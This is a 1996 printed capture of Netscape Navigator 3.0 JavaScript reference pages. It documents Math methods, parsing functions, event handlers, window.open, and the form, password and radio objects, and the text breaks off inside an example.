propertyName is one of the properties listed below.


methodName is one of the methods listed below.

Property of

· None.

Description
The Math object is a built-in JavaScript object.

You reference the constant PI as Math.PI . Constants are defined with the full precision of real
numbers in JavaScript.

Similarly, you reference Math functions as methods. For example, the sine function is
Math.sin( argument), where argument is the argument.

It is often convenient to use the with statement when a section of code uses several Math
constants and methods, so you don't have to type "Math" repeatedly. For example,

with (Math) {
a = PI * r*r
y = r*sin(theta)
x = r*cos(theta)
}

Properties

·
·
E
LN2
·
·
LN10
LOG2E
·
·
LOG10E
PI
·
·
SQRT1_2
SQRT2

Methods

· abs

1 of 24 30.08.96 17:45
wysiwyg://display.tocfr...ef_m-q.html#Math_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_m-q.html#Math_object

·
·
acos
asin
·
·
atan
ceil
·
·
cos
exp
·
·
floor
log
·
·
max
min
·
·
pow
random
·
·
round
sin
·
·
sqrt
tan

Event handlers

· None. Built-in objects do not have event handlers.

Examples
See the examples for the individual properties and methods.

max method
Returns the greater of two numbers.

Syntax
Math.max( number1, number2)

number1 and number2 are any numeric arguments or the properties of existing objects.

Method of
Math

Examples
//Displays the value 20
document.write("The maximum value is " + Math.max(10,20))

//Displays the value -10


document.write("<P>The maximum value is " + Math.max(-10,-20))

See also

· min method

2 of 24 30.08.96 17:45
wysiwyg://display.tocfr...ef_m-q.html#Math_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_m-q.html#Math_object

method property
A string specifying how form field input information is sent to the server.

Syntax
formName.method

formName is either the name of a form or an element in the forms array.

Property of
form

Description
The method property is a reflection of the METHOD attribute of the <FORM> tag. The method
property should evaluate to either "get" or "post".

You can set the method property at any time.

Certain values of the method property may require specific values for other form properties. See
RFC 1867 for more information.

Examples
The following function returns the value of the musicForm method property:

function getMethod() {
return document.musicForm.method
}

See also

· action, encoding, target properties

min method
Returns the lesser of two numbers.

Syntax
Math.min( number1, number2)

number1 and number2 are any numeric arguments or the properties of existing objects.

Method of
Math

Examples

3 of 24 30.08.96 17:45
wysiwyg://display.tocfr...ef_m-q.html#Math_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_m-q.html#Math_object

//Displays the value 10


document.write("
The minimum value is " + Math.min(10,20))

//Displays the value -20


document.write("<P>The minimum value is " + Math.min(-10,-20))

See also

· max method

name property
Changed in Navigator 3.0

A string specifying the name of an object.

Syntax
1. objectName.name
2. frameReference.name
3. frameReference.frames.name
4. radioName[index].name
5. selectName.options.name
6. windowReference.name
7. windowReference.frames.name

objectName is either the value of the NAME attribute of any of the objects listed below or an
element in the elements array.
frameReference is a valid way of referring to a frame, as described in the frame object.
radioName is the value of the NAME attribute of a radio object.
selectName is either the value of the NAME attribute of a select object or an element in the
elements array.
windowReference is a valid way of referring to a window, as described in the window object.

Property of

·
·
button, checkbox, frame, hidden, password, radio, reset, select, submit, text, textarea, window
options array

Description
The value of the name property differs between the window object and other objects.

window object

The name property for the window object is represented by form 6 and form 7 of the syntax. The
name property represents the value of the windowName argument described in the window object
syntax. Both forms of the syntax represent the same value.

name is a read-only property.

All other objects

4 of 24 30.08.96 17:45
wysiwyg://display.tocfr...ef_m-q.html#Math_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_m-q.html#Math_object

The name property for all objects except window is represented by forms 1 through 5 of the
syntax. For all objects except window, the name property initially reflects the value of the NAME
attribute. Changing the name property overrides this setting.

You can set the name property at any time.

The name property is the same for every radio button in a single radio object. Individual radio
buttons are referenced by their position in the radio array.

Do not confuse the name property with the label displayed on a button, reset, or submit object.
The value property specifies the label for these objects. The name property is not displayed
onscreen; it is used to reference the objects programatically.

For a select object, the values specified by form 1 and form 5 of the syntax are the same. For a
frame object, the values specified by forms 1, 2, and 3 of the syntax are the same.

If multiple objects on the same form have the same NAME attribute, an array of the given name is
created automatically. Each element in the array represents an individual form object. Elements
are indexed in source order starting at 0. For example, if two text elements and a textarea element
on the same form have their NAME attribute set to "myField", an array with the elements
myField[0], myField[1], and myField[2] is created.

Examples
In the following example, the valueGetter() function uses a for loop to iterate over the array of
elements on the valueTest form. The msgWindow window displays the names of all the elements
on the form:

newWindow=window.open("http://www.netscape.com")

function valueGetter() {
var msgWindow=window.open("")
for (var i = 0; i < newWindow.document.valueTest.elements.length; i++) {
msgWindow.document.write(newWindow.document.valueTest.elements[i].name + "<BR>")
}
}

In the following example, the first statement creates a window called netscapeWin. The second
statement displays the value "netscapeHomePage" in the alert dialog box, because
"netscapeHomePage" is the value of the windowName argument of netscapeWin.

netscapeWin=window.open("http://www.netscape.com", "netscapeHomePage")

alert(netscapeWin.name)

See also
For button, reset, and submit:
· value property

navigator object
Changed in Navigator 3.0

5 of 24 30.08.96 17:45
wysiwyg://display.tocfr...ef_m-q.html#Math_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_m-q.html#Math_object

Contains information about the version of Navigator in use.

Syntax
To use a navigator object:

navigator. propertyName

propertyName is one of the properties listed below.

Property of

· None.

Description
Use the navigator object to determine which version of the Navigator your users have.

Properties

·
·
appCodeName specifies the code name of the browser
appName specifies the name of the browser
·
·
appVersion specifies version information for the Navigator
userAgent specifies the user-agent header

Methods

· None.

Event handlers

· None.

Examples
See the examples for the individual properties.

See also

·
·
link object
anchors object

onBlur event handler


Changed in Navigator 3.0

A blur event occurs when a select, text, or textarea field on a form loses focus. The onBlur event
handler executes JavaScript code when a blur event occurs.

See the relevant objects for the onBlur syntax.

6 of 24 30.08.96 17:45
wysiwyg://display.tocfr...ef_m-q.html#Math_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_m-q.html#Math_object

Event Handler of
select, text, textarea

Examples
In the following example, userName is a required text field. When a user attempts to leave the
field, the onBlur event handler calls the required() function to confirm that userName has a legal
value.

<INPUT TYPE="text" VALUE="" NAME="userName" onBlur="required(this.value)">

See also

· onChange , onFocus event handlers

onChange event handler


A change event occurs when a select, text, or textarea field loses focus and its value has been
modified. The onChange event handler executes JavaScript code when a change event occurs.

Use the onChange event handler to validate data after it is modified by a user.

See the relevant objects for the onChange syntax.

Event Handler of
select, text, textarea

Examples
In the following example, userName is a text field. When a user attempts to leave the field, the
onBlur event handler calls the checkValue() function to confirm that userName has a legal value.

<INPUT TYPE="text" VALUE="" NAME="userName" onBlur="checkValue(this.value)">

See also

· onBlur , onFocus event handlers

onClick event handler


Changed in Navigator 3.0

A click event occurs when an object on a form is clicked. The onClick event handler executes
JavaScript code when a click event occurs.

See the relevant objects for the onClick syntax.

7 of 24 30.08.96 17:45
wysiwyg://display.tocfr...ef_m-q.html#Math_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_m-q.html#Math_object

Event Handler of
button, checkbox, radio, link, reset, submit

Examples
For example, suppose you have created a JavaScript function called compute(). You can execute
the compute() function when the user clicks a button by calling the function in the onClick event
handler, as follows:

<INPUT TYPE="button" VALUE="Calculate" onClick="compute(this.form)">

In the above example, the keyword this refers to the current object; in this case, the Calculate
button. The construct this.form refers to the form containing the button.

For another example, suppose you have created a JavaScript function called pickRandomURL()
that lets you select a URL at random. You can use the onClick event handler of a link to specify a
value for the HREF attribute of the <A> tag dynamically, as shown in the following example:

<A HREF=""
onClick="this.href=pickRandomURL()"
onMouseOver="window.status='Pick a random URL'; return true">
Go!</A>

In the above example, the onMouseOver event handler specifies a custom message for the
Navigator status bar when the user places the mouse pointer over the Go! anchor. As this example
shows, you must return true to set the window.status property in the onMouseOver event handler.

onFocus event handler


Changed in Navigator 3.0

A focus event occurs when a field receives input focus by tabbing with the keyboard or clicking
with the mouse. Selecting within a field results in a select event, not a focus event. The onFocus
event handler executes JavaScript code when a focus event occurs.

See the relevant objects for the onFocus syntax.

Event Handler of
select, text, textarea

Examples
The following example uses an onFocus handler in the valueField textarea object to call the
valueCheck() function.

<INPUT TYPE="textarea" VALUE="" NAME="valueField" onFocus="valueCheck()">

See also

· onBlur , onChange event handlers

8 of 24 30.08.96 17:45
wysiwyg://display.tocfr...ef_m-q.html#Math_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_m-q.html#Math_object

onLoad event handler


Changed in Navigator 3.0

A load event occurs when Navigator finishes loading a window or all frames within a
<FRAMESET>. The onLoad event handler executes JavaScript code when a load event occurs.

Use the onLoad event handler within either the <BODY> or the <FRAMESET> tag, for example,
<BODY onLoad="..."> .

In a <FRAMESET> and <FRAME> relationship, an onLoad event within a frame (placed in the
<BODY> tag) occurs before an onLoad event within the <FRAMESET> (placed in the
<FRAMESET> tag).

Event Handler of
window

Examples
In the following example, the onLoad event handler displays a greeting message after a web page
is loaded.

<BODY onLoad="window.alert("Welcome to the Brave New World home page!")>

See also
onUnload event handler

onMouseOver event handler


Changed in Navigator 3.0

A mouseOver event occurs once each time the mouse pointer moves over an object from outside
that object. The onMouseOver event handler executes JavaScript code when a mouseOver event
occurs.

You must return true within the event handler if you want to set the status or defaultStatus
properties with the onMouseOver event handler.

See the relevant objects for the onMouseOver syntax.

Event Handler of
link

Examples
By default, the HREF value of an anchor displays in the status bar at the bottom of the Navigator
when a user places the mouse pointer over the anchor. In the following example, the

9 of 24 30.08.96 17:45
wysiwyg://display.tocfr...ef_m-q.html#Math_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_m-q.html#Math_object

onMouseOver event handler provides the custom message "Click this if you dare."

<A HREF="http://home.netscape.com/"
onMouseOver="window.status='Click this if you dare!'; return true">
Click me</A>

See onClick for an example of using onMouseOver when the <A> tag's HREF attribute is set
dynamically.

onSelect event handler


A select event occurs when a user selects some of the text within a text or textarea field. The
onSelect event handler executes JavaScript code when a select event occurs.

See the relevant objects for the onSelect syntax.

Event Handler of
text, textarea

Examples
The following example uses an onSelect handler in the valueField text object to call the
selectState() function.

<INPUT TYPE="text" VALUE="" NAME="valueField" onSelect="selectState()">

onSubmit event handler


Changed in Navigator 3.0

A submit event occurs when a user submits a form. The onSubmit event handler executes
JavaScript code when a submit event occurs.

You can use the onSubmit event handler to prevent a form from being submitted; to do so, put a
return statement that returns false in the event handler. Any other returned value lets the form
submit. If you omit the return statement, the form is submitted.

See the relevant objects for the onSubmit syntax.

Event Handler of
form

Examples
In the following example, the onSubmit event handler calls the formData() function to evaluate
the data being submitted. If the data is valid, the form is submitted; otherwise, the form is not
submitted.

10 of 24 30.08.96 17:45
wysiwyg://display.tocfr...ef_m-q.html#Math_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_m-q.html#Math_object

form.onSubmit="return formData(this)"

See also the examples for the form object.

See also

·
·
submit object
submit method

onUnload event handler


An unload event occurs when you exit a document. The onUnload event handler executes
JavaScript code when an unload event occurs.

Use the onUnload event handler within either the <BODY> or the <FRAMESET> tag, for
example, <BODY onUnload="..."> .

In a <FRAMESET> and <FRAME> relationship, an onUnload event within a frame (placed in


the <BODY> tag) occurs before an onUnload event within the <FRAMESET> (placed in the
<FRAMESET> tag).

Event Handler of
window

Examples
In the following example, the onUnload event handler calls the cleanUp() function to perform
some shut down processing when the user exits a web page:

<BODY onUnload="cleanUp()">

See also
onLoad event handler

open method (document object)


Opens a stream to collect the output of write or writeln methods.

Syntax
document.open([" mimeType"])

mimeType specifies any of the following document types:

text/html
text/plain
image/gif
image/jpeg
image/x-bitmap
plugIn

11 of 24 30.08.96 17:45
wysiwyg://display.tocfr...ef_m-q.html#Math_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_m-q.html#Math_object

plugIn is any two-part plug-in MIME type that Netscape supports.

Method of
document

Description
The open method opens a stream to collect the output of write or writeln methods. If the
mimeType is text or image, the stream is opened to layout; otherwise, the stream is opened to a
plug-in. If a document exists in the target window, the open method clears it.

End the stream by using the document.close() method. The close method causes text or images
that were sent to layout to display. After using document.close(), issue document.open() again
when you want to begin another output stream.

mimeType is an optional argument that specifies the type of document to which you are writing. If
you do not specify a mimeType, the open method assumes text/html by default.

Following is a description of mimeType:


·
·
text/html specifies a document containing ASCII text with HTML formatting.
text/plain specifies a document containing plain ASCII text with end-of-line characters to
delimit displayed lines.
·
·
image/gif specifies a document with encoded bytes constituting a GIF header and pixel data.
image/jpeg specifies a document with encoded bytes constituting a JPEG header and pixel
data.
· image/x-bitmap specifies a document with encoded bytes constituting a bitmap header and
pixel data.
· plugIn loads the specified plug-in and uses it as the destination for write and writeln methods.
For example, "x-world/vrml" loads the VR Scout VRML plug-in from Chaco Communications,
and "application/x-director" loads the Macromedia Shockwave plug-in.

Examples
The following function calls document.open() to open a stream before issuing a write method:

function windowWriter1() {
var myString = "Hello, world!"
msgWindow.document.open()
msgWindow.document.write("<P>" + myString)
msgWindow.document.close()
}

In the following example, the probePlugIn() function determines whether a user has the
Shockwave plug-in installed:

function probePlugIn(mimeType) {
var havePlugIn = false
var tiny = window.open("", "teensy", "width=1,height=1")
if (tiny != null) {
if (tiny.document.open(mimeType) != null)
havePlugIn = true
tiny.close()
}
return havePlugIn

12 of 24 30.08.96 17:45
wysiwyg://display.tocfr...ef_m-q.html#Math_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_m-q.html#Math_object

var haveShockwavePlugIn = probePlugIn("application/x-director")

See also

· close, write, writeln methods

open method (window object)


Opens a new web browser window.

Syntax
[windowVar = ][window].open(" URL", " windowName", [" windowFeatures"])

windowVar is the name of a new window. Use this variable when referring to a window's
properties, methods, and containership.
URL specifies the URL to open in the new window. See the location object for a description of
the URL components.
windowName is the window name to use in the TARGET attribute of a <FORM> or <A> tag.
windowName can contain only alphanumeric or underscore (_) characters.
windowFeatures is a comma-separated list of any of the following options and values:

toolbar[=yes|no]|[=1|0]
location[=yes|no]|[=1|0]
directories[=yes|no]|[=1|0]
status[=yes|no]|[=1|0]
menubar[=yes|no]|[=1|0]
scrollbars[=yes|no]|[=1|0]
resizable[=yes|no]|[=1|0]
width= pixels
height= pixels

You may use any subset of these options. Separate options with a comma. Do not put spaces
between the options.

pixels is a positive integer specifying the dimension in pixels.

Method of
window

Description
The open method opens a new web browser window on the client, similar to choosing New Web
Browser from the File menu of the Navigator. The URL argument specifies the URL contained by
the new window. If URL is an empty string, a new, empty window is created.

In event handlers, you must specify window.open() instead of simply using open(). Due to the
scoping of static objects in JavaScript, a call to open() without specifying an object name is
equivalent to document.open().

windowFeatures is an optional, comma-separated list of options for the new window. The boolean

13 of 24 30.08.96 17:45
wysiwyg://display.tocfr...ef_m-q.html#Math_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_m-q.html#Math_object

windowFeatures options are set to true if they are specified without values, or as yes or 1. For
example, open("", "messageWindow", "toolbar") and open("", "messageWindow",
"toolbar=1") both set the toolbar option to true. If windowName does not specify an existing
window and you do not specify windowFeatures, all boolean windowFeatures are true by default.
If you specify any item in windowFeatures, all other Boolean windowFeatures are false unless
you explicitly specify them.

Following is a description of the windowFeatures:


· toolbar creates the standard Navigator toolbar, with buttons such as "Back" and "Forward", if
true
·
·
location creates a Location entry field, if true
directories creates the standard Navigator directory buttons, such as "What's New" and "What's
Cool", if true
·
·
status creates the status bar at the bottom of the window, if true
menubar creates the menu at the top of the window, if true
· scrollbars creates horizontal and vertical scrollbars when the document grows larger than the
window dimensions, if true
·
·
resizable allows a user to resize the window, if true
width specifies the width of the window in pixels
· height specifies the height of the window in pixels

Examples
In the following example, the windowOpener function opens a window and uses write methods to
display a message:

function windowOpener() {
msgWindow=window.open("","displayWindow","menubar=yes")
msgWindow.document.write
("<HEAD><TITLE>Message window</TITLE></HEAD>")
msgWindow.document.write
("<CENTER><BIG><B>Hello, world!</B></BIG></CENTER>")
}

The following is an onClick event handler that opens a new client window displaying the content
specified in the file sesame.html. The window opens with the specified option settings; all other
options are false because they are not specified.

<FORM NAME="myform">
<INPUT TYPE="button" NAME="Button1" VALUE="Open Sesame!"
onClick="window.open
('sesame.html', 'newWin', 'scrollbars=yes,status=yes,width=300,height=300')">
</FORM>

Notice the use of single quotes (') inside the onClick event handler.

See also

· close method

options property
An array corresponding to options in a select object (<OPTION> tags) in source order. See select
object.

14 of 24 30.08.96 17:45
wysiwyg://display.tocfr...ef_m-q.html#Math_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_m-q.html#Math_object

parent property
The parent property is a synonym for a window or frame whose frameset contains the current
frame.

Syntax
1. parent. propertyName
2. parent. methodName
3. parent. frameName
4. parent.frames[ index]

propertyName is the defaultStatus, status, length, name, or parent property when the calling
parent refers to a window object.
propertyName is the length, name, or parent property when the calling parent refers to a frame
object.
methodName is any method associated with the window object.
frameName and frames[index] are ways to refer to frames.

Property of
frame, window

Description
The parent property refers to the <FRAMESET> window of a frame. Child frames within a
frameset refer to sibling frames by using "parent" in place of the window name as follows:
parent. frameName or parent.frames[ index]. For example, if the fourth frame in a set has
NAME="homeFrame", sibling frames can refer to that frame using parent.homeFrame or
parent.frames[3] .

You can use parent.parent to refer to the "grandparent" frame or window when a
<FRAMESET> tag is nested within a child frame.

The parent property is read-only. The value of the parent property is

<object nameAttribute>

where nameAttribute is the NAME attribute if the parent is a frame, or an internal reference if the
parent is a window.

Examples
See the examples for the frame object.

parse method
Returns the number of milliseconds in a date string since January 1, 1970 00:00:00, local time.

Syntax

15 of 24 30.08.96 17:45
wysiwyg://display.tocfr...ef_m-q.html#Math_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_m-q.html#Math_object

Date.parse( dateString)

dateString is a string representing a date or a property of an existing object.

Method of
Date

Description
The parse method takes a date string (such as "Dec 25, 1995"), and returns the number of
milliseconds since January 1, 1970 00:00:00 (local time). This function is useful for setting date
values based on string values, for example in conjunction with the setTime method and the Date
object.

Given a string representing a time, parse returns the time value. It accepts the IETF standard date
syntax: "Mon, 25 Dec 1995 13:30:00 GMT". It understands the continental US time zone
abbreviations, but for general use, use a time zone offset, for example "Mon, 25 Dec 1995
13:30:00 GMT+0430" (4 hours, 30 minutes west of the Greenwich meridian). If you do not
specify a time zone, the local time zone is assumed. GMT and UTC are considered equivalent.

Because the parse function is a static method of Date, you always use it as Date.parse() , rather
than as a method of a date object you created.

Examples
If IPOdate is an existing date object, then

IPOdate.setTime(Date.parse("Aug 9, 1995"))

See also

· UTC method

parseFloat function
Parses a string argument and returns a floating point number.

Syntax
parseFloat( string)

string is a string that represents the value you want to parse.

Description
The parseFloat function is a built-in JavaScript function. It is not a method associated with any
object, but is part of the language itself.

parseFloat parses its argument, a string, and returns a floating point number. If it encounters a
character other than a sign ( + or -), numeral (0-9), a decimal point, or an exponent, then it returns

16 of 24 30.08.96 17:45
wysiwyg://display.tocfr...ef_m-q.html#Math_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_m-q.html#Math_object

the value up to that point and ignores that character and all succeeding characters.

If the first character cannot be converted to a number, parseFloat returns one of the following
values:
·
·
0 on Windows platforms.
"NaN" on any other platform, indicating that the value is not a number.

For arithmetic purposes, the "NaN" value is not a number in any radix. You can call the isNaN
function to determine if the result of parseFloat is "NaN". If "NaN" is passed on to arithmetic
operations, the operation results will also be "NaN".

Examples
The following examples all return 3.14:

parseFloat("3.14")
parseFloat("314e-2")
parseFloat("0.0314E+2")
var x = "3.14"
parseFloat(x)

The following example returns "NaN" or 0:

parseFloat("FF2")

See also

· isNaN, parseInt functions

parseInt function
Parses a string argument and returns an integer of the specified radix or base.

Syntax
parseInt( string [,radix])

string is a string that represents the value you want to parse.


radix is an integer that represents the radix of the return value.

Description
The parseInt function is a built-in JavaScript function. It is not a method associated with any
object, but is part of the language itself.

The parseInt function parses its first argument, a string, and attempts to return an integer of the
specified radix (base). For example, a radix of 10 indicates to convert to a decimal number, 8
octal, 16 hexadecimal, and so on. For radixes above 10, the letters of the alphabet indicate
numerals greater than 9. For example, for hexadecimal numbers (base 16), A through F are used.

If parseInt encounters a character that is not a numeral in the specified radix, it ignores it and all
succeeding characters and returns the integer value parsed up to that point. ParseInt truncates
numbers to integer values.

17 of 24 30.08.96 17:45
wysiwyg://display.tocfr...ef_m-q.html#Math_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_m-q.html#Math_object

If the radix is not specified or is specified as 0, JavaScript assumes the following:


·
·
If the input string begins with "0x", the radix is 16 (hexadecimal).
If the input string begins with "0", the radix is 8 (octal).
· If the input string begins with any other value, the radix is 10 (decimal).

If the first character cannot be converted to a number, parseFloat returns one of the following
values:
·
·
0 on Windows platforms.
"NaN" on any other platform, indicating that the value is not a number.

For arithmetic purposes, the "NaN" value is not a number in any radix. You can call the isNaN
function to determine if the result of parseInt is "NaN". If "NaN" is passed on to arithmetic
operations, the operation results will also be "NaN".

Examples
The following examples all return 15:

parseInt("F", 16)
parseInt("17", 8)
parseInt("15", 10)
parseInt(15.99, 10)
parseInt("FXX123", 16)
parseInt("1111", 2)
parseInt("15*3", 10)

The following examples all return "NaN" or 0:

parseInt("Hello", 8)
parseInt("0x7", 10)
parseInt("FFF", 10)

Even though the radix is specified differently, the following examples all return 17 because the
input string begins with "0x".

parseInt("0x11", 16)
parseInt("0x11", 0)
parseInt("0x11")

See also

· isNaN, parseFloat functions

password object
Changed in Navigator 3.0

A text field on an HTML form that conceals its value by displaying asterisks (*). When the user
enters text into the field, asterisks (*) hide anything entered from view.

Syntax
To define a password object, use standard HTML syntax:

18 of 24 30.08.96 17:45
wysiwyg://display.tocfr...ef_m-q.html#Math_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_m-q.html#Math_object

<INPUT
TYPE="password"
NAME=" passwordName"
[VALUE=" textValue"]
SIZE= integer>

NAME="passwordName" specifies the name of the password object. You can access this value
using the name property.
VALUE="textValue" specifies the initial value of the password object. You can access this value
using the defaultValue property.
SIZE=integer specifies the number of characters the password object can accommodate without
scrolling.

To use a password object's properties and methods:

1. passwordName.propertyName
2. passwordName.methodName(parameters)
3. formName.elements[ index].propertyName
4. formName.elements[ index].methodName(parameters)

passwordName is the value of the NAME attribute of a password object.


formName is either the value of the NAME attribute of a form object or an element in the forms
array.
index is an integer representing a password object on a form.
propertyName is one of the properties listed below.
methodName is one of the methods listed below.

Property of

· form

Description
A password object on a form looks as follows:

Enter your password: *********

A password object is a form element and must be defined within a <FORM> tag.

Properties

·
·
defaultValue reflects the VALUE attribute
name reflects the NAME attribute
· value reflects the current value of the password object's field

Methods

·
·
focus
blur
· select

Event handlers

· None.

19 of 24 30.08.96 17:45
wysiwyg://display.tocfr...ef_m-q.html#Math_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_m-q.html#Math_object

Examples
<B>Password:</B> <INPUT TYPE="password" NAME="password" VALUE="" SIZE=25>

See also

· form and text objects

pathname property
Changed in Navigator 3.0

A string specifying the url-path portion of the URL.

Syntax
1. links[ index].pathname
2. location.pathname

index is an integer representing a link object.

Property of
link, location

Description
The pathname property specifies a portion of the URL. The pathname supplies the details of how
the specified resource can be accessed.

You can set the pathname property at any time, although it is safer to set the href property to
change a location. If the pathname that you specify cannot be found in the current location, you
will get an error.

See Section 3.1 of RFC 1738 for complete information about the pathname.

Examples
See the examples for the href property.

See also

· hash, host, hostname, href, port, protocol, search properties

PI property
The ratio of the circumference of a circle to its diameter, approximately 3.14159.

Syntax

20 of 24 30.08.96 17:45
wysiwyg://display.tocfr...ef_m-q.html#Math_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_m-q.html#Math_object

Math.PI

Property of
Math

Description
Because PI is a constant, it is a read-only property of Math.

Examples
The following example displays the value of pi:

document.write("The value of pi is " + Math.PI)

See also

· E, LN2, LN10, LOG2E, LOG10E, SQRT1_2, SQRT2 properties

port property
Changed in Navigator 3.0

A string specifying the communications port that the server uses for communications.

Syntax
1. links[ index].port
2. location.port

index is an integer representing a link object.

Property of
link, location

Description
The port property specifies a portion of the URL. The port property is a substring of the host
property. The host property is the concatenation of the hostname and port properties, separated by
a colon. When the port property is not defined, the host property is the same as the hostname
property.

You can set the port property at any time, although it is safer to set the href property to change a
location. If the port that you specify cannot be found in the current location, you will get an error.
If the port property is not specified, it defaults to 80 on the server.

See Section 3.1 of RFC 1738 for complete information about the port.

Examples

21 of 24 30.08.96 17:45
wysiwyg://display.tocfr...ef_m-q.html#Math_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_m-q.html#Math_object

See the examples for the href property.

See also

· hash, host, hostname, href, pathname, protocol, search properties

pow method
Returns base to the exponent power, that is, baseexponent.

Syntax
Math.pow( base, exponent)

base is any numeric expression or a property of an existing object.


exponent is any numeric expression or a property of an existing object. If the result would include
an imaginary number (for example pow(-1, 0.5)), then the value returned is always zero.

Method of
Math

Examples
//Displays the value 49
document.write("7 to the power of 2 is " + Math.pow(7,2))

//Displays the value 1024


document.write("<P>2 to the power of 10 is " + Math.pow(2,10))

See also

· exp, log methods

prompt method
Displays a Prompt dialog box with a message and an input field.

Syntax
prompt( message, [inputDefault])

message is any string or a property of an existing object; the string is displayed as the message.
inputDefault is a string, integer, or property of an existing object that represents the default value
of the input field.

Method of
window

22 of 24 30.08.96 17:45
wysiwyg://display.tocfr...ef_m-q.html#Math_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_m-q.html#Math_object

Description
Use the prompt method to display a dialog box that receives user input. If you do not specify an
initial value for inputDefault, the dialog box displays the value <undefined>.

Although prompt is a method of the window object, you do not need to specify a
windowReference when you call it. For example, windowReference.prompt() is unnecessary.

Examples
prompt("Enter the number of cookies you want to order:", 12)

See also

· alert, confirm methods

protocol property
Changed in Navigator 3.0

A string specifying the beginning of the URL, up to and including the first colon.

Syntax
1. links[ index].protocol
2. location.protocol

index is an integer representing a link object.

Property of
link, location

Description
The protocol property specifies a portion of the URL. The protocol indicates the access method of
the URL. For example, a protocol of "http:" specifies Hypertext Transfer Protocol, and a protocol
of "javascript:" specifies JavaScript code.

You can set the protocol property at any time, although it is safer to set the href property to
change a location. If the protocol that you specify cannot be found in the current location, you
will get an error.

The protocol property represents the scheme name of the URL. See Section 2.1 of RFC 1738 for
complete information about the protocol.

Examples
See the examples for the href property.

See also

23 of 24 30.08.96 17:46
wysiwyg://display.tocfr...ef_m-q.html#Math_object wysiwyg://display.tocframe.5/http://www....book/javascript/ref_m-q.html#Math_object

· hash, host, hostname, href, pLast modified 01/01/70 01:00:00

24 of 24 30.08.96 17:46
wysiwyg://display.tocfr...f_r-r.html#radio_object wysiwyg://display.tocframe.5/http://www....ook/javascript/ref_r-r.html#radio_object

radio object
Changed in Navigator 3.0

A set of radio buttons on an HTML form. A set of radio buttons lets the user choose one item
from a list.

Syntax
To define a set of radio buttons, use standard HTML syntax with the addition of the onClick event
handler:

<INPUT
TYPE="radio"
NAME=" radioName"
VALUE=" buttonValue"
[CHECKED]
[onClick=" handlerText"]>
textToDisplay

NAME="radioName" specifies the name of the radio object. All radio buttons in a group have the
same NAME attribute. You can access this value using the name property.
VALUE="buttonValue" specifies a value that is returned to the server when the radio button is
selected and the form is submitted. This defaults to "on". You can access this value using the
value property.
CHECKED specifies that the radio button is selected. You can access this value using the
defaultChecked property.
textToDisplay specifies the label to display beside the radio button.

To use a radio button's properties and methods:

1. radioName[index1].propertyName
2. radioName[index1].methodName(parameters)
3. formName.elements[ index2].propertyName
4. formName.elements[ index2].methodName(parameters)

radioName is the value of the NAME attribute of a radio object.


index1 is an integer representing a radio button in a radio object.
formName is either the value of the NAME attribute of a form object or an element in the forms
array.
index2 is an integer representing a radio button on a form. The elements array contains an entry
for each radio button in a radio object.
propertyName is one of the properties listed below.
methodName is one of the methods listed below.

Property of

· form

Description
A radio object on a form looks as follows:

R&B
Jazz

1 of 7 30.08.96 17:50
wysiwyg://display.tocfr...f_r-r.html#radio_object wysiwyg://display.tocframe.5/http://www....ook/javascript/ref_r-r.html#radio_object

Soul

A radio object is a form element and must be defined within a <FORM> tag.

All radio buttons in a radio button group use the same name property. To access the individual
radio buttons in your code, follow the object name with an index starting from zero, one for each
button the same way you would for an array such as forms: document.forms[0]. radioName[0] is
the first, document.forms[0]. radioName[1] is the second, etc.

Properties

·
·
checked lets you programatically select a radio button
defaultChecked reflects the CHECKED attribute
·
·
length reflects the number of radio buttons in a radio object
name reflects the NAME attribute
· value reflects the VALUE attribute

Methods

· click

Event handlers

· onClick

Examples
Example 1. The following example defines a radio button group to choose among three music
catalogs. Each radio button is given the same name, NAME="musicChoice", forming a group of
buttons for which only one choice can be selected. The example also defines a text field that
defaults to what was chosen via the radio buttons but that allows the user to type a nonstandard
catalog name as well. The onClick event handler sets the catalog name input field when the user
clicks a radio button.

<INPUT TYPE="text" NAME="catalog" SIZE="20">


<INPUT TYPE="radio" NAME="musicChoice" VALUE="soul-and-r&b"
onClick="musicForm.catalog.value = 'soul-and-r&b'"> Soul and R&B
<INPUT TYPE="radio" NAME="musicChoice" VALUE="jazz"
onClick="musicForm.catalog.value = 'jazz'"> Jazz
<INPUT TYPE="radio" NAME="musicChoice" VALUE="classical"
onClick="musicForm.catalog.value = 'classical'"> Classical

Example 2. The following example contains a form with three text boxes and three radio buttons.
The radio buttons let the user choose whether the text fields are converted to upper case or lower
case, or not converted at all. Each text field has an onChange event handler that converts the field
value depending on which radio button is checked. The radio buttons for upper case and lower
case have onClick event handlers that convert all fields when the user clicks the radio button.

<HTML>
<HEAD>
<TITLE>Radio object example</TITLE>
</HEAD>
<SCRIPT>
function convertField(field) {
if (document.form1.conversion[0].checked) {
field.value = field.value.toUpperCase()}

2 of 7 30.08.96 17:50
wysiwyg://display.tocfr...f_r-r.html#radio_object wysiwyg://display.tocframe.5/http://www....ook/javascript/ref_r-r.html#radio_object

else {
if (document.form1.conversion[1].checked) {
field.value = field.value.toLowerCase()}
}
}
function convertAllFields(caseChange) {
if (caseChange=="upper") {
document.form1.lastName.value = document.form1.lastName.value.toUpperCase()
document.form1.firstName.value = document.form1.firstName.value.toUpperCase()
document.form1.cityName.value = document.form1.cityName.value.toUpperCase()}
else {
document.form1.lastName.value = document.form1.lastName.value.toLowerCase()
